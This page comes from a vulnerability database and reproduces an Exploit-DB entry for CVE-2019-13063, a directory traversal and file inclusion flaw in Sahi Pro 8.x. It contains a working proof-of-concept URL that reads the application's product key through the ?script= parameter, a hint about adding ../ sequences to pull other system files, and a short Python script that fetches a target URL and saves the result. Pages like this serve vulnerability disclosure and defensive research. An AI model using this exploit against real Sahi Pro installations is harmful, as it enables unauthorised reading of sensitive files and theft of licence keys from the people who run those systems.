Lucene search
K

Sahi pro 8.x - Directory Traversal

🗓️ 01 Jul 2019 00:00:00Reported by Operat0rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 92 Views

There is a directory traversal and file inclusion vulnerability in Sahi Pro 8.x web application allowing retrieval of sensitive files

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Sahi pro 8.x - Directory Traversal Exploit
2 Jul 201900:00
zdt
CVE
CVE-2019-13063
23 Sep 201914:56
cve
Cvelist
CVE-2019-13063
23 Sep 201914:56
cvelist
GithubExploit
Exploit for Path Traversal in Sahipro Sahi_Pro
15 Jul 201909:45
githubexploit
exploitpack
Sahi pro 8.x - Directory Traversal
1 Jul 201900:00
exploitpack
NVD
CVE-2019-13063
23 Sep 201915:15
nvd
OSV
CVE-2019-13063
23 Sep 201915:15
osv
Packet Storm
Sahi Pro 8.x Directory Traversal
1 Jul 201900:00
packetstorm
Prion
Directory traversal
23 Sep 201915:15
prion
RedhatCVE
CVE-2019-13063
22 May 202504:26
redhatcve
Rows per page
# Exploit Title: Sahi pro (8.x) Directory traversal
# Date: 2019-06-25
# Exploit Author: Operat0r
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 8.0
# Tested on: Linux Ubuntu / Windows 7
# CVE: CVE-2019-13063

An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim.

POC -

http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt

This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system

POC tool -

import argparse, requests, os

#sahi_productkey = '/config/productkey.txt'
#root_dir = '../../../../../../'
#vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script="

print("[x] Proof of concept tool to exploit the directory traversal and local file"
      " inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n")

print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt")

parser = argparse.ArgumentParser()
parser.add_argument("--url",
                    help='Specify the vulnerable URL')

args = parser.parse_args()

response = requests.get(args.url)
file = open("output.txt", "w")
file.write(response.text)
file.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2019 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 25
CVSS 3.17.5
EPSS0.15875
92